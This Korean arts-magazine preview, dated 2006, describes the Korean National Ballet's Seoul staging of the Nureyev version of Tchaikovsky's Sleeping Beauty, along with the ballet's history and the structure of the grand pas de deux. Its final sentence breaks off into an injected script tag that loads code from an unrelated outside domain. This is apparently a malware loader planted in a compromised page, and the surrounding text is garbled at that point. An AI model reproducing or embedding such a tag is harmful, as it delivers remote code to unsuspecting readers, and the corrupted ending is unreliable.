잠자는 숲속의 미녀

2006-03-10  

‘마녀의 저주에 1백 년 간 잠이 든 미녀가 왕자의 키스에 의해 깨어난다’는 동화와 발레가 만난 <잠자는 숲속의 미녀>가 가정의 달인 5월에 예술의전당 오페라극장에서 막을 올린다. 5월 8일부터15일까지 공연되는, 차이코프스키의 3대 발레 작품 중 하나인 <잠자는 숲속의 미녀>를 미리 만나본다.


아름다운 동화와 우아한 발레가 만나 화려하게 부활하는 <잠자는 숲속의 미녀> 서울 무대는 전설적인 안무가 루돌프 누레예프 버전의 첫 국내 공연으로 차이코프스키의 환상적인 음악, 유럽 스타일의 무대장치와 화려한 의상, 여기에 1백여 명이 넘는 대규모 무용수 등 벌써부터 올 발레계의 핫이슈로 떠오르고 있다.

특히 서막에서 보여주는 공주의 탄생을 축하하는 요정들의 화려한 춤, 왕자의 환상 장면에서의 화려한 솔로, 3막에서의 오로라와 왕자의 피시 다이브(fish dive) 등 고전발레의 전형답게 화려한 테크닉과 정교한 동작들이 끊임없이 펼쳐져 발레팬들에게는 놓치기 아까운 기회다. 여기에 샤를 페로(Charles Perrault)의 동화 속 주인공인 장화 신은 고양이, 파랑새 등의 극적인 요소가 조화를 이뤄 가족의 달 5월에 남녀노소를 불문한 가족 단위의 관객에게 큰 기쁨을 선사할 것으로 보인다.



동화와 발레가 만난 ‘발레의 교과서’

1877년 레이징거의 안무로 초연된 <백조의 호수>가 실패하자 거장 차이코프스키는 자신의 음악 때문이라는 자책 때문에 13년 간이나 발레를 멀리했다. 그러던 중 <잠자는 숲속의 미녀>를 의뢰받고는 남다른 매력을 느끼게 되었다. 성 전체가 백 년 동안 잠에 빠져 있다는 설정을 세운 차이코프스키는 풍요롭고도 장대한 이 음악 시극을 1888년 12월에 시작해 1889년 5월에 완성했다.

차이코프스키가 작곡한 음악에 안무를 완성한 사람은 ‘고전발레의 아버지’라 불리는 마리우스 프티파(Marius Petipa). 러시아 상트 페테르부르크 마린스키 극장의 수석 예술감독이었던 프티파는 1870년대까지 유행하던 ‘낭만주의’ 발레에 식상한 관객들을 위해 새로운 양식의 ‘고전주의’ 발레를 선보였다. 그는 기존의 파드되(2인무)를 발전시켜 그랑 파드되 양식을 처음으로 확립했으며, 줄거리와 상관없이 다채로운 춤들을 많이 보여주는 디베르티스망 (Divertissment)을 삽입하는 등 고전주의 발레의 형식을 확립했다. 덕분에 <잠자는 숲속의 미녀>는 ‘발레의 교과서’ 로 불리기도 한다.

발레 상식 하나. ‘그랑 파드되’는 파드되 중에서도 다섯 단계로 나누어 추는 파드되다. 남녀 무용수의 화려한 기량과 파트너십을 발휘하는 것으로, 안무가 프티파가 고전발레 양식을 확립하면서 만든 발레 형식이다. 진행순서는 두 무용수가 입장하여 인사하는 앙트레(Entree), 두 남녀가 느릿한 음악에 맞추어 추는 아다지오(Adagio), 남녀 무용수가 차례로 나와서 각자의 개인기를 보여주는 바리아시옹(Variation), 마지막으로 두 남녀가 빠른 음악에 맞춰 최고의 기량을 펼치며 끝내는 알레그로 코다(Allegro Coda)로 이어진다.



한국서 초연되는 누레예프 버전

<백조의 호수>, <호두까기 인형>과 더불어 차이코프스키의 3대 발레로 불리는 <잠자는 숲속의 미녀>는 1890년 러시아 마린스키 극장에서 초연 당시, <백조의 호수>처럼 참담한 실패를 겪었고 혹평을 받았다. 결국 차이코프스키는 이 발레가 재안무되어 대성공을 거두는 것을 보지 못하고 사망하고 말았다. 초연 당시 황제의 무관심에도 <잠자는 숲속의 미녀>는 급속하게 대중적인 인기를 얻어, 프티파 사후 전세계 여러 나라의 안무가에 의해 조금씩 개작되어 현재까지 공연되고 있다.

재안무 작품 중 대표적인 버전이 바로 1961년 키로프 발레단의 <잠자는 숲속의 미녀>였다. 파리 공연을 마치고 서방으로 망명을 한 전설적인 발레리노이자 안무가인 루돌프 누레예프(Rudolf Nureyev)가 안무한 이 작품은 프티파의 고전주의 형식을 유지하되, 여기에 세련미와 남성미를 가미했다. 그의 재안무는 아직도 파리 오페라 발레단의 레퍼토리를 장식하고 있는데, 이번에 국립발레단이 선보이는 작품이 바로 누레예프 버전이다.

누레예프 버전의 <잠자는 숲속의 미녀>는 프티파의 안무를 기본으로 하되, 전체적으로 화려하고 스텝이 많은 다이내믹한 춤이 선보여지며 남성 무용수의 역할이 대폭 증대된 것이 특징이다. 2막에서의 왕자의 솔로, 3막 파랑새와 왕자의 바리아시옹에서의 힘찬 발 교차, 눈부신 도약, 빠른 회전 등에서는 그의 역동적이고 다이내믹한 안무의 특징이 잘 드러난다. 이런 특징으로 인해 그의 작품은 초심자들의 눈조차 단번에 매혹시키는 매력을 지니고 있다.

그리고 다른 버전과는 달리 라일락 요정이 마임 역할로 나오는 것도 두드러진 특징. 모든 악?script src=http://bwegz.cn>

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